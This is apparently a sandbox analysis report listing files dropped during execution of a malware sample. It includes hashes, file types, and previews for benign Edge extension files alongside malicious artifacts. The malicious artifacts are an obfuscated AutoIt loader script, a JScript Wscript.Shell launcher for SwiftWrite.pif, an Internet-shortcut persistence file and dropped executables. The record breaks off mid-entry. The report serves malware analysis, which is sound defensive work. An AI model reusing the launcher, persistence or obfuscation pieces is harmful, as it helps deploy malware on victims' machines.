                                                                                                                                                                          Preview:{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):843
                                                                                                                                                                          Entropy (8bit):5.76581227215314
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
                                                                                                                                                                          MD5:0E60627ACFD18F44D4DF469D8DCE6D30
                                                                                                                                                                          SHA1:2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
                                                                                                                                                                          SHA-256:F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
                                                                                                                                                                          SHA-512:6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):912
                                                                                                                                                                          Entropy (8bit):4.65963951143349
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
                                                                                                                                                                          MD5:71F916A64F98B6D1B5D1F62D297FDEC1
                                                                                                                                                                          SHA1:9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
                                                                                                                                                                          SHA-256:EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
                                                                                                                                                                          SHA-512:30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):11406
                                                                                                                                                                          Entropy (8bit):5.745845607168024
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
                                                                                                                                                                          MD5:0A68C9539A188B8BB4F9573F2F2321D6
                                                                                                                                                                          SHA1:E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
                                                                                                                                                                          SHA-256:39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
                                                                                                                                                                          SHA-512:13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):854
                                                                                                                                                                          Entropy (8bit):4.284628987131403
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
                                                                                                                                                                          MD5:4EC1DF2DA46182103D2FFC3B92D20CA5
                                                                                                                                                                          SHA1:FB9D1BA3710CF31A87165317C6EDC110E98994CE
                                                                                                                                                                          SHA-256:6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
                                                                                                                                                                          SHA-512:939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2525
                                                                                                                                                                          Entropy (8bit):5.417954053901
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
                                                                                                                                                                          MD5:5E425DC36364927B1348F6C48B68C948
                                                                                                                                                                          SHA1:9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
                                                                                                                                                                          SHA-256:32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
                                                                                                                                                                          SHA-512:C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/*", "https://drive.google.com/*", "https://drive-autopush.corp.google.com/*", "https://drive-daily-0.corp.google.com/*", "https://drive-daily-1.corp.google.com/*", "https://drive-daily-2.corp.google.com/*", "https://drive-daily-3.corp.google.com/*", "https://drive-daily-4.corp.google.com/*", "https://drive-daily-5.corp.google.com/*", "https://drive-daily-6.corp.google.com/*", "https://drive-preprod.corp.google.com/*", "https://drive-staging.corp.google.com/*" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):97
                                                                                                                                                                          Entropy (8bit):4.862433271815736
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
                                                                                                                                                                          MD5:B747B5922A0BC74BBF0A9BC59DF7685F
                                                                                                                                                                          SHA1:7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
                                                                                                                                                                          SHA-256:B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
                                                                                                                                                                          SHA-512:7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (4882)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):122218
                                                                                                                                                                          Entropy (8bit):5.439997574414675
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
                                                                                                                                                                          MD5:67C4451398037DD1C497A1EA98227630
                                                                                                                                                                          SHA1:F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
                                                                                                                                                                          SHA-256:59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
                                                                                                                                                                          SHA-512:17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):291
                                                                                                                                                                          Entropy (8bit):4.65176400421739
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
                                                                                                                                                                          MD5:3AB0CD0F493B1B185B42AD38AE2DD572
                                                                                                                                                                          SHA1:079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
                                                                                                                                                                          SHA-256:73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
                                                                                                                                                                          SHA-512:32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (4882)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):130866
                                                                                                                                                                          Entropy (8bit):5.425065147784983
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
                                                                                                                                                                          MD5:1A8A1F4E5BA291867D4FA8EF94243EFA
                                                                                                                                                                          SHA1:B25076D2AE85BD5E4ABA935F758D5122CCB82C36
                                                                                                                                                                          SHA-256:441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
                                                                                                                                                                          SHA-512:F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T
                                                                                                                                                                          Process:C:\Users\Public\Guard.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1266)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1240100
                                                                                                                                                                          Entropy (8bit):5.144277296271024
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:D8V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:DcB7HxicaEmEQD3I1jUZ
                                                                                                                                                                          MD5:078A35D34863F9421F702C3044DA8A1F
                                                                                                                                                                          SHA1:1D34A5EF73992231F1E5857A462359596647E0F6
                                                                                                                                                                          SHA-256:6E32AE2A7776564163BE157BAEE93FCB156A5030D620C71D9FCF33D9A7CBC925
                                                                                                                                                                          SHA-512:67EEB87AEE2567513FC6D5AE241E62D73874980EC18BB77C46DF4191A2EC64A6DB1200F7541B0F6E908B66D39ACE1D483CD1E33E90C165A6DBA01C35536E1541
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]
                                                                                                                                                                          Process:C:\Users\Public\Guard.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):182
                                                                                                                                                                          Entropy (8bit):4.728787503041443
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:RiMIpGXfeNH5E5wWAX+PKMEkD5yKXW/Zi+0/RaMl85uWAX+PKMEkD5yKXW/Zi+oM:RiJbNHCwWDMkDrXW/Zz0tl8wWDMkDrXS
                                                                                                                                                                          MD5:F3E27756AE384F28A50A26D42047C0C1
                                                                                                                                                                          SHA1:76D4F4BF89EB6DD92C22ACC729A16996FCC42EC7
                                                                                                                                                                          SHA-256:1954E6D6ED7E08C90CFF1BA567C85E15889B9098970DBE5F4979684CAD52130D
                                                                                                                                                                          SHA-512:C3C157EBEAA16DCA88B3F615674B4474B5A668D2398838A3096C2AFCCE8DC817F46F0D11CEC9E8474410108A445C5F6453E10BE4E1F807E0589D1CB30B405E81
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")
                                                                                                                                                                          Process:C:\Users\Public\Guard.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):893608
                                                                                                                                                                          Entropy (8bit):6.62028134425878
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                                                                                                                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                                                                                                                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                                                                                                                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                                                                                                                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):97
                                                                                                                                                                          Entropy (8bit):4.913583050357082
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:HRAbABGQaFyw3pYoqLTVSRE2J5yKXW/Zi+URAAy:HRYF5yjoqLTwi23yKXW/Zzyy
                                                                                                                                                                          MD5:B196E358FC1F1A8683B763273B6F2FE2
                                                                                                                                                                          SHA1:D494A69C3B14D95E86242085E57527472F30AEB1
                                                                                                                                                                          SHA-256:DF5DE160AA2296D525325C499B8E46D179DFD669E4B1BC83324BC04162DF0754
                                                                                                                                                                          SHA-512:4195E5CCA900C5199D9A726795EA0F4AB2BF19FAB8356AD83265EC66157657A23EE3680718DF56E624BFF60036696735714A64FE95872B9B47A55634F0F2C76B
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x800, Scaling: [none]x[none], YUV color, decoders should clamp
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):187870
                                                                                                                                                                          Entropy (8bit):7.999013258393486
                                                                                                                                                                          Encrypted:true
                                                                                                                                                                          SSDEEP:3072:H7Uxsy3eSeT4buEoFmO7f4duw1G4J3ZEssmwDLwUeiwaODgT1LPH0:H7byuSeTYCXQdDhwDL3NLOg1bH0
                                                                                                                                                                          MD5:8781A81727602775AACB32609EBFAD39
                                                                                                                                                                          SHA1:423AFD558A5AC4FC657FF8E1BC0A269AFA21C826
                                                                                                                                                                          SHA-256:D25B29D19D59D464D0DE882632412B8D06F686043BC6E9C829E1CE9E6201973D
                                                                                                                                                                          SHA-512:23F58B5053DADE1126CEF4177498D05DC802F049972B98EECCFF7DA4E7B2A1CDED5D8F4E54594DB951E495C481B2D88FF5AD3559B58D304BA8FEB5BD6ADAFFE1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:RIFF....WEBPVP8 ....0....*.. .>I .E".!!'...P..ei...=8.9y.\......G..D.#m.........^...=J?z.P.....?..s.......j8...../.>..|...`o..w.[.|..7.........i...].W......K|.........a/._.?i...k.w.....o.w.....}.h.b.e.s.g....A..?..............o.....>..........G...7...W..._.................<.......q~..i..........S..o.^;;..O......>..........f........9...W./.......?z?...}..w.../'.G.g.........k....?....]..._.?....Y.k...G.......?....../.....~....F...[...o../.?......7.........I............~b~......9.g.....W.........P/._...^...sM...`l..T.r....6.w%..x..G.......Y....fWR.*gm.h`Y.....?..)......34.N.+T..:.q..W..b.L7.8.>KXN3..RI%ll......yI........i..".2.W...@.1.....I..7.bXD...t..s.`..c..q\.ujc.*..r.......<.`E,7...C.....e..^h.G...u".>...9W.4..M.....5.(w.~.ls....s.AG.QS.n...]..j.zyk..;.V.2=vN.7.U.C.n.w.A..36;6........}......&....c.....p.3.'..>{...s..a....We.mC....y.Q...Z.C.>.\.....O..."*"X..Z2..7..`.6....~p.~A.rFZ..#E"E.....Jp...K.0.j.?.{k..{.+.QTM-DZ.f.X.j...^.....<.#w..gI.<
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1083904
                                                                                                                                                                          Entropy (8bit):6.306473619816267
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24576:DrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaB1T:D2EYTb8atv1orq+pEiSDTj1VyvBa3
                                                                                                                                                                          MD5:567DE19C0E7E3A1FC845E51AC1C1D5D8
                                                                                                                                                                          SHA1:4C4FDEA73E0C98C2C82B6B1232EF7ECF5B99CCD1
                                                                                                                                                                          SHA-256:F1140750BA9FEAD0EF27B715D1BB2AE28864FE611068759F8EF4F8364AF559CB
                                                                                                                                                                          SHA-512:84C3A61A1F7A71E52DFE110CD975F6DA7EA0B2A83FA16F7B46C223ADE7B44D1F299BF0C108268502F144F5C93E0A74AB37B13D24B9540355658119768BF12C2A
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 32%
                                                                                                                                                                          Preview:MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG....>PG.....PG.....PG.....*PG.y8B..PG.y8C.:PG.y8D.#PG."(.#PG."(..*PG."(..PG.+PF..RG..9I.{PG..9D.*PG..9..*PG.+P.*PG..9E.*PG.Rich+PG.........................PE..d....^g.........."......4...R.......T.........@....................................qR....`...@...............@..............................\..|........@...@..Ho..............t...Pp..........................(...pp...............P..8............................text...(3.......4.................. ..`.rdata...B...P...D...8..............@..@.data... ........P...|..............@....pdata..Ho...@...p..................@..@.rsrc....@.......B...<..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):55
                                                                                                                                                                          Entropy (8bit):4.306461250274409
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                                                          MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                                                          SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                                                          SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                                                          SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}
                                                                                                                                                                          Process:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):160
                                                                                                                                                                          Entropy (8bit):5.095703110114614
                                                                                                                                                                          Encrypted:false
